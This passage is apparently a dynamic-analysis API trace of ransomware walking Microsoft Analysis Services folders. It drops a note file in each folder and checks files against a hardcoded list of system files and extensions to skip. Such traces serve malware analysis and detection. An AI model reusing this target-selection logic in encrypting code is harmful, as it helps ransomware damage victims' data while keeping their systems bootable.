returned="RGNR_FD7BD9FC.txt" [0079.578] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\RGNR_FD7BD9FC.txt") returned=".txt" [0079.578] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0079.578] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81a7a160, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81a7a160, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0079.579] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0079.579] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81a7a160, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81a7a160, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.579] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0079.579] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0079.579] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81a7a160, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81a7a160, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0079.579] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0079.579] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x81a7a160, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81a7a160, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0079.579] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x81a7a160, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81a7a160, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.579] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x81ac6420, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81ac6420, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0079.579] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81a7a160, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81a7a160, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.579] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x4a [0079.579] lstrcpyW (in: lpString1=0x1eab76, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0079.579] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\RGNR_FD7BD9FC.txt") returned=".txt" [0079.579] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0079.579] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81a7a160, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81a7a160, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0079.579] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0079.579] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81995920, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81995920, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.579] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0079.579] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0079.579] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81995920, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81995920, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0079.579] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0079.579] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x81995920, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81995920, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0079.580] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x81995920, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81995920, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.580] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x81a54000, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81a54000, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0079.580] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cf6c00, ftCreationTime.dwHighDateTime=0x1ca2caa, ftLastAccessTime.dwLowDateTime=0x5f005150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3cf6c00, ftLastWriteTime.dwHighDateTime=0x1ca2caa, nFileSizeHigh=0x0, nFileSizeLow=0x2a65d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1 [0079.580] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x40 [0079.580] lstrcpyW (in: lpString1=0x1eb63a, lpString2="msmdlocal.dll" | out: lpString1="msmdlocal.dll") returned="msmdlocal.dll" [0079.580] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll") returned=".dll" [0079.580] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.580] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="autorun.inf") returned 1 [0079.580] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="boot.ini") returned 1 [0079.580] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="bootfont.bin") returned 1 [0079.580] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="bootsect.bak") returned 1 [0079.580] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="bootmgr") returned 1 [0079.580] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="bootmgr.efi") returned 1 [0079.580] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="bootmgfw.efi") returned 1 [0079.580] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="desktop.ini") returned 1 [0079.580] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="iconcache.db") returned 1 [0079.580] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="ntldr") returned -1 [0079.580] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="ntuser.dat") returned -1 [0079.580] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="ntuser.dat.log") returned -1 [0079.580] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="ntuser.ini") returned -1 [0079.580] lstrcmpiW (lpString1="msmdlocal.dll", lpString2="thumbs.db") returned -1 [0079.580] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0079.580] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0079.580] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0079.580] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47fe200, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47fe200, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0xbc4568, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1 [0079.580] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x40 [0079.580] lstrcpyW (in: lpString1=0x1eb63a, lpString2="msmgdsrv.dll" | out: lpString1="msmgdsrv.dll") returned="msmgdsrv.dll" [0079.580] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll") returned=".dll" [0079.580] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.580] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2="autorun.inf") returned 1 [0079.581] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2="boot.ini") returned 1 [0079.581] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2="bootfont.bin") returned 1 [0079.581] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2="bootsect.bak") returned 1 [0079.581] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2="bootmgr") returned 1 [0079.581] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2="bootmgr.efi") returned 1 [0079.581] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2="bootmgfw.efi") returned 1 [0079.581] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2="desktop.ini") returned 1 [0079.581] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2="iconcache.db") returned 1 [0079.581] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2="ntldr") returned -1 [0079.581] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2="ntuser.dat") returned -1 [0079.581] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2="ntuser.dat.log") returned -1 [0079.581] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2="ntuser.ini") returned -1 [0079.581] lstrcmpiW (lpString1="msmgdsrv.dll", lpString2="thumbs.db") returned -1 [0079.581] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0079.581] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0079.581] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0079.581] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b10f00, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x5f28c8b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b10f00, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0x7c6f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolap100.dll", cAlternateFileName="MSOLAP~1.DLL")) returned 1 [0079.581] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x40 [0079.581] lstrcpyW (in: lpString1=0x1eb63a, lpString2="msolap100.dll" | out: lpString1="msolap100.dll") returned="msolap100.dll" [0079.581] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll") returned=".dll" [0079.581] lstrcmpiW (lpString1="msolap100.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.581] lstrcmpiW (lpString1="msolap100.dll", lpString2="autorun.inf") returned 1 [0079.581] lstrcmpiW (lpString1="msolap100.dll", lpString2="boot.ini") returned 1 [0079.581] lstrcmpiW (lpString1="msolap100.dll", lpString2="bootfont.bin") returned 1 [0079.581] lstrcmpiW (lpString1="msolap100.dll", lpString2="bootsect.bak") returned 1 [0079.581] lstrcmpiW (lpString1="msolap100.dll", lpString2="bootmgr") returned 1 [0079.581] lstrcmpiW (lpString1="msolap100.dll", lpString2="bootmgr.efi") returned 1 [0079.581] lstrcmpiW (lpString1="msolap100.dll", lpString2="bootmgfw.efi") returned 1 [0079.581] lstrcmpiW (lpString1="msolap100.dll", lpString2="desktop.ini") returned 1 [0079.581] lstrcmpiW (lpString1="msolap100.dll", lpString2="iconcache.db") returned 1 [0079.581] lstrcmpiW (lpString1="msolap100.dll", lpString2="ntldr") returned -1 [0079.581] lstrcmpiW (lpString1="msolap100.dll", lpString2="ntuser.dat") returned -1 [0079.582] lstrcmpiW (lpString1="msolap100.dll", lpString2="ntuser.dat.log") returned -1 [0079.582] lstrcmpiW (lpString1="msolap100.dll", lpString2="ntuser.ini") returned -1 [0079.582] lstrcmpiW (lpString1="msolap100.dll", lpString2="thumbs.db") returned -1 [0079.582] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0079.582] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0079.582] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0079.582] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46ad400, ftCreationTime.dwHighDateTime=0x1c8e1fb, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb46ad400, ftLastWriteTime.dwHighDateTime=0x1c8e1fb, nFileSizeHigh=0x0, nFileSizeLow=0x4dc18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.dll", cAlternateFileName="MSOLUI~1.DLL")) returned 1 [0079.582] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x40 [0079.582] lstrcpyW (in: lpString1=0x1eb63a, lpString2="msolui100.dll" | out: lpString1="msolui100.dll") returned="msolui100.dll" [0079.582] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolui100.dll") returned=".dll" [0079.582] lstrcmpiW (lpString1="msolui100.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.582] lstrcmpiW (lpString1="msolui100.dll", lpString2="autorun.inf") returned 1 [0079.582] lstrcmpiW (lpString1="msolui100.dll", lpString2="boot.ini") returned 1 [0079.582] lstrcmpiW (lpString1="msolui100.dll", lpString2="bootfont.bin") returned 1 [0079.582] lstrcmpiW (lpString1="msolui100.dll", lpString2="bootsect.bak") returned 1 [0079.582] lstrcmpiW (lpString1="msolui100.dll", lpString2="bootmgr") returned 1 [0079.582] lstrcmpiW (lpString1="msolui100.dll", lpString2="bootmgr.efi") returned 1 [0079.582] lstrcmpiW (lpString1="msolui100.dll", lpString2="bootmgfw.efi") returned 1 [0079.582] lstrcmpiW (lpString1="msolui100.dll", lpString2="desktop.ini") returned 1 [0079.582] lstrcmpiW (lpString1="msolui100.dll", lpString2="iconcache.db") returned 1 [0079.582] lstrcmpiW (lpString1="msolui100.dll", lpString2="ntldr") returned -1 [0079.582] lstrcmpiW (lpString1="msolui100.dll", lpString2="ntuser.dat") returned -1 [0079.582] lstrcmpiW (lpString1="msolui100.dll", lpString2="ntuser.dat.log") returned -1 [0079.582] lstrcmpiW (lpString1="msolui100.dll", lpString2="ntuser.ini") returned -1 [0079.582] lstrcmpiW (lpString1="msolui100.dll", lpString2="thumbs.db") returned -1 [0079.582] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0079.582] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0079.582] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0079.582] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x81a7a160, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81a7a160, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0079.582] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81995920, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81995920, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.582] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x40 [0079.582] lstrcpyW (in: lpString1=0x1eb63a, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0079.583] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\RGNR_FD7BD9FC.txt") returned=".txt" [0079.583] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0079.583] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81995920, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81995920, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0079.583] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0079.583] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8196f7c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8196f7c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.583] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0079.583] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0079.583] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8196f7c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8196f7c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0079.583] FindClose (in: hFindFile=0x5a12e8 | out: hFindFile=0x5a12e8) returned 1 [0079.583] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*.*", lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8196f7c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8196f7c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12e8 [0079.583] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8196f7c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8196f7c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.583] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x81995920, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81995920, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1 [0079.583] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8196f7c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8196f7c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", 